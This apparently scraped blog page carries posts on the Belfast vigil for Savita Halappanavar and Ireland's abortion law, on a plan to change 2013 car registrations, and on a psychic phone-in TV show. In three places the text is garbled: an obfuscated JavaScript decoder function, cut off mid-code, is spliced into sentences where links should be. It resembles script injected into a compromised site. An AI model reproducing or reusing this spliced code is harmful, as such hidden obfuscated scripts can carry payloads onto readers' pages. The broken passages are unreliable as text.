Belfast Vigil in Memory of Savita Halappanavar

Yesterday evening a candlelit vigil took place in Belfast where many people gathered to quietly demonstrate and remember the death of Savita Halappanavar, a 31 year-old Indian woman who died in University Hospital Galway on 21st October this year.

Abortion is already a very hot topic in both North and South of Ireland, however, this recent case brings new light on the fact that the Irish government has refused to legislate on abortion for twenty years, since the X Case in 1992.

The 1992 Supreme Court judgement gives women a constitutional right to access abortion when their lives are in danger, including from the risk of suicide. However, the European Court of Human Rights has said there is a notable gap in the theory and practical implementation of the right to a lawful abortion in Ireland because of the lack of corresponding legislation. function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and-legislate-on-the-x-case-ruling-675231-Nov2012/">TheJournal.ie

Over the last two days vigils have been held in Galway, Dublin, Cork, Limerick and London. This is not an issue which is going to go away and something must be done to ensure that such an atrocity doesn't occur again. That the innocent life of a women is not at risk because the government is under the thumb of the dogma of Catholic church.

Savita and her husband repeatedly informed doctors of the pain she was in and requested that an abortion be carried out due to the complications of the pregnancy. Doctors had found that she was miscarrying and that the fetus would not survive, however they were told that due to a "fetal heartbeat" they would not carry out an abortion as “this is a Catholic country”.

Because her cervix remained fully open for this time, Savita was in prolonged danger of infection, comparable to having an untreated open head wound. Savita developed septicaemia, and she died on Sunday 28 October, a week after entering hospital.

By then doctors had removed the foetus, but only after its heartbeat had stopped. If they had removed the foetus when it was clear that it could not survive, Savita’s cervix would have closed earlier and she would have been less likely to develop the infection.

There are few words but anger at this response. No good moral judgement was carried out in the decision to allow this woman to die. This is a human issue, and more pressure must be put on the government to ensure that this doesn't happen again. In doing so, full detailed legislation must be laid out for cases of abortion to ensure that all medical professionals are educated on when medically induced abortions can be carried out — medicine must not be dictated by mythological doctrine.

function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and-outrage-as-pregnant-savita-dies-in-irish-hospital-because-of-catholic-dogma-and-political-cowardice/">Michael Nugent of Atheist Ireland has provided full details this case and others surrounding.

(Photographs and video by Phil O'Kane)

Woman Dies from Miscarriage in Galway After Denied a Life-Saving Abortion

It is being reported that that a woman died on Sunday 28th of October in University College Hospitals, Galway, after it was found she was having a miscarriage, yet doctors refused to perform an abortion.

The woman, Savita Halappanavar, a 31 year old dentist who was married for four years and hoping to start a family, was 17 weeks pregnant. Her husband, Praveen Halappanavar, said that she had been in severe pain and on discovering she was miscarrying had requested a medical abortion. She was told by doctors, "this is a Catholic country".

Galway Pro-Choice released a statement:

Savita was first admitted to the hospital on October 21st complaining of severe back pain. Her doctor initially told her that she would be fine, but she refused to go home. It became clear that her waters had broken, and she was having a miscarriage (spontaneous abortion). She was told that the foetus had no chance of survival, and it would all be over within a few hours.

However, her condition did not take its expected course, and the foetus remained inside her body. Although it was evident that it could not survive, a foetal heartbeat was detected. For this reason her repeated requests to remove the foetus were denied. By Tuesday it was clear that her condition was deteriorating. She had developed a fever, and collapsed when attempting to walk. The cervix had now been fully open for nearly 72 hours, creating a danger of infection comparable to an untreated open head wound. She developed septicaemia.

Despite this, the foetus was not removed until Wednesday afternoon, after the foetal heartbeat had stopped. Immediately after the procedure she was taken to the high dependency unit. Her condition never improved. She died at 1.09am on Sunday the 28th of October.

Had the foetus been removed when it became clear that it could not survive, her cervix would have been closed and her chance of infection dramatically reduced. Leaving a woman's cervix open constitutes a clear risk to her life. What is unclear is how doctors are expected to act in this situation.

There are a number of takeaways from this horrible incident, and much needs to be done to ensure that it doesn't happen again. Now is the time for detailed abortion legislation to be introduced in Ireland. It is unacceptable that a doctor can refuse to offer life-saving treatment on the basis of religion.

function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and.org/content/choice-ireland-renews-calls-abortion-legislation">Choice Ireland spokesperson, Stephanie Lord said:

“Today, some twenty years after the X case we find ourselves asking the same question again - if a woman is pregnant, her life in jeopardy, can she even establish whether or not she has a right to a termination here in Ireland? There is still a disturbing lack of clarity around this issue, decades after the tragic events surrounding the X case in 1992."

How honest, now, is the term "Pro-Life" to describe those fighting to prevent a woman's right to make a choice on her body. This case has simply gone against what many people like to state, that women do not die in this day and age from pregnancies. They do.

In a piece in the Irish Times, John Fleming, Bishop of Killala, County Mayo, states:

‘Choose Life!’ – this is the campaign call of the Catholic bishops of Ireland to raise public awareness that every human life is beautiful and that every human life is precious.

The Constitution recognises “the right to life of the unborn and, with due regard to the equal right to life of the mother, guarantees in its laws to respect” that right. The clear intention, therefore, is to protect and cherish equally the lives of both the mother and her unborn child.

In fact, Ireland, without abortion, is recognised as one of the safest countries in the world to be a pregnant mother. This is something about which we should be proud and is a tribute to the excellent care provided by hospital staff who treat both mother and unborn child with equal dignity and respect as people in their own right. Clearly, if the life of the mother is threatened, by illness or some other medical condition, the care provided by medical professionals will make sure that she receives all the medical care needed.

As stated by the European Centre for Law and Justice:

Even considering the broad European consensus on abortion, the Court considers that it doesn’t limit the sovereign right of Ireland to prohibit abortion, because of “the acute sensitivity of the moral and ethical issues raised by the question of abortion or as to the importance of the public interest at stake” (§ 233)

Apart from those positive holdings affirming that there is no right to abortion, the ECLJ must strongly reject the erroneous assumption of the ECHR of the existing of a “lawful abortion in Ireland in accordance with Article 40.3.3 of the Constitution” Article 40.3.3, adopted by a referendum held in 1983, reads as follows and doesn’t recognize any right to abortion : “The State acknowledges the right to life of the unborn and, with due regard to the equal right to life of the mother, guarantees in its laws to respect, and, as far as practicable, by its laws to defend and vindicate that right.” The Court’s interpretation of article 40.3.3, may lead to a forced recognition of a right to abortion.

Our thoughts go out to the family and friends of Savita Halappanavar.

Irish number plates to be changed to avoid “unlucky 13”

A proposal to alter the car registration system in Ireland for 2013 has been brought to government in order to avoid the "unlucky 13" superstition.

Michael Healy-Rae, South Kerry Independent TD, is getting his pitch in early. He told TheJournal.ie

“There’s people now who, we’ll say, always change their cars every two, three or four years. Take you, for instance — you might be one of these men who change their car every three years, and 2013 is your year to change. People like you are after going to the garages and saying they’ll wait until the next year before replacing their cars, simply because they did not want to drive cars carrying a number which is often thought to be unlucky.

Healy-Rae states that it is not his own way of thinking, but feels that this will ensure people will buy cars in 2013 who would otherwise have not done so due to this superstition.

In Ireland, the first two digits of the registration plate represent the last two digits of the year. Alan Nolan from the Society of the Irish Motor Industry (SIMI) has said that the proposed change is not only due to superstition, but that adding a further digit; 131 between January and June and 132 from July to Dec; will give a more accurate idea of the age of a car.

At the end of the day, this silly notion that people have based on an ancient superstition (triskaidekaphobia) which holds no merit in modern society, and only enforces nonsensical beliefs rather than promoting critical thought.

Story is at theJournal.ie

“Psychics” take advantage of vulnerable people on national TV

Con artists are everywhere, waiting for the next gullible, and in many cases vulnerable, victim. It shouldn't be so easy to broadcast such nonsense, but as production company, ESO.TV, recently found out, it is. Their show, Psychic Readings Live, has been airing for the last week on national Irish TV channel TV3, yet clearly no one thought to clarify the authenticity of what they were peddling. Simply call the show to speak with Physic Wayne [Isaacs], at a rate of €2.44/min, and either wait to speak with Psychic Wayne, or connect to one of the specialised psychics.

An investigation carried out by Alan Rice has shown that many of the images used for each of the other "psychics" on the show have in fact been taken from across the web: stock image databases, personal blogs, personal flickr feeds, and Facebook amongst others.

In it's terms & conditions EOS.tv state:

The psychic services will be provided personally by the psychics and not by the Producer or the Broadcaster. Neither the Producer nor the Broadcaster have any knowledge or psychic ability. The psychic services are for entertainment purposes only. The responsibility of the Broadcaster is to broadcast the Show and the responsibility of the Producer is to produce the show and its services, including enabling the telephone connection between the Callers and the psychics. Neither the Producer nor the Broadcaster or any of their employees, officers, directors or shareholders are and shall be responsible in any manner whatsoever to any act and/or omission of any psychic, including any words, sayings, suggestions, offers etc. of the psychics, and the Caller waives all demands against the Broadcaster and/or the Producer in connection thereto. All responsibility to any such acts and/or omissions shall be borne only by the psychics personally.

The words "The psychic services are for entertainment purposes only" should be clearly stated at the bottom of the screen in large letters, otherwise it is simply the production company execs who are being entertained.

This show is simply taking advantage of vulnerable people, behaving like they have answers, while instead spouting nonsense. And while TheJournal.ie reports TV3's as saying in response:

The infomercial is produced by an independent 3rd party (ESO.TV) and promotes a service which is licensed by Comreg. The infomercial also meets all premium phone-line and broadcasting regulations. The content is commercial and not a TV3 programme or TV3 content.

This show will still be aired tonight.